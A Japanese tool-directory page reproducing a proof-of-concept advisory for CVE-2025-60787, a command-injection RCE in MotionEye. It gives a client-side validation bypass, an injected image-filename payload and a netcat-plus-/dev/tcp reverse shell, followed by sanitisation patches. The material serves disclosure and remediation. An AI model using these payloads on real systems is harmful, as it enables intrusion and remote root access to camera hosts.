Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-60787 — CVE-2025-60787の概念実証。MotionEye <= 0.43.1b4における、クライアント側検証のバイパスと画像ファイル名のコマンドインジェクションを介したリモートコード実行を示します。 | Kitploit
ツール/GitHubGitHub/prabhatverma47/cve-2025-60787
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

CVE-2025-60787の概念実証。MotionEye <= 0.43.1b4における、クライアント側検証のバイパスと画像ファイル名のコマンドインジェクションを介したリモートコード実行を示します。

リポジトリを見る
10ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
元リンク: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

クライアント側バリデーション回避によるMotionEye RCE

概要

Dockerで実行中のMotionEyeインスタンスのセキュリティテスト中に、Web UI内のクライアント側バリデーションが回避可能であることが確認されました。これにより、ホストコンテナ上で実行をトリガーできるペイロードを含む任意の入力を送信できます。この問題は、悪用された場合、リモートコード実行(RCE)のリスクをもたらします。

影響を受けるバージョン: 0.43.1b4までの全バージョン
パッチ状況: まだパッチはありません。このアドバイザリに回避策が記載されています。
プロジェクト参照: https://github.com/motioneye-project/motioneye
CWE: CWE-20、CWE-78、CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


環境

  • ターゲット: Dockerで実行中のMotionEye
  • イメージ: ghcr.io/motioneye-project/motioneye:edge
  • 公開ポート: 9999(コンテナの8765にマッピング)
  • テスト認証情報: admin / 空のパスワード(デフォルト)

  • 再現手順

    1. コンテナのセットアップ

    次のコマンドを実行して、Dockerイメージのダウンロードを開始し、コンテナを起動します

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. バージョン確認

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    結果: MotionEyeサーバー 0.43.1b4 image

    3. ファイルシステムへのアクセス

    Dockerコンテナが起動したら、次のコマンドを使用してコンテナのシェルにアクセスできます

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. 初期アクセス

    Webインターフェースにアクセス:
    http://127.0.0.1:9999
    ログイン: admin(空のパスワード)

    5. カメラのセットアップ

    サンプルのRTSPネットワークカメラを追加しました。
    image

    6. インジェクションの試行

    「静止画像」>「画像ファイル名」に悪意のある実行コマンドを入力しましたが、クライアント側のバリデーションエラーが発生しました。

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    クライアント側のバリデーションによってブロックされました。
    image

    image

    7. クライアント側バリデーションの発見

    バリデーションを担当するスクリプトは次のとおりです: /static/js/main.js?v=0.43.1b4。これは/static/js/ui.js?v=0.43.1b4を参照してバリデーション条件を実装しています。

    ファイル: /static/js/main.js?v=0.43.1b4(/static/js/ui.js?v=0.43.1b4を参照)

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. 回避テクニック

    ブラウザコンソールでconfigUiValid関数をオーバーライドすることで、すべてのバリデーションチェックを回避できます: ブラウザのコンソール(F12またはCtrl+Shift+I)に以下のスニペットを入力します

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. ペイロードの実行

    これで、バリデーションなしでペイロードを直接入力できます: 以下のように設定し、設定を適用します

    設定:

    • キャプチャモード = 間隔スナップショット
    • 間隔 = 10
    • 画像ファイル名:
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    適用 → root権限でファイルが作成されました。

    image

    影響: RCEの武器化

    簡単なリバースシェルの生成:

    リスナー:

    root@kitploit:~
    nc -lvnp 4444
    
    image

    インジェクションされたペイロード:

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    結果: リモートシェルを取得しました。


    根本原因とフロー

    MotionEyeは、Webダッシュボードからユーザー入力を受け取り、危険な文字をチェックせずにMotion設定ファイルに直接書き込むため、脆弱です。たとえば、UIのimage_file_nameフィールドはバックエンド(config.py)に送信され、/etc/motioneye/camera-.confに保存されます。MotionEyeがMotionサービス(motionctl.start)を再起動すると、Motionプロセスがこの設定ファイルを読み取ります。picture_filenameフィールドに$(touch /tmp/test)のようなシェル構文が含まれている場合、Motionはそれをファイル名の一部として扱うのではなく、実際のコマンドとして実行します。

    サニタイズされていない入力がMotion設定ファイルに書き込まれる:
    ダッシュボードJS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motionがpicture_filenameを解析 → ペイロードを実行


    防止策

    サニタイズ修正

    ファイル: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # 英数字、%、_、-、/、.のみ許可
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # 安全なフォールバック
        return value
    
    image

    サニタイズを適用:

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    修正前: image 修正後: image


    代替解決策

    ステップ1: Dockerを実行

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    ステップ2: コンテナにアクセス

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    ステップ3: 設定を変更

    元のコード:

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    次のコードに置き換え:

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    ステップ4: 再起動

    root@kitploit:~
    docker restart motioneye
    
    image

    代替パッチ

    motion_camera_ui_to_dict(...)内:

    元のコード:

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    次のコードに置き換え:

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    

    ツールをダウンロード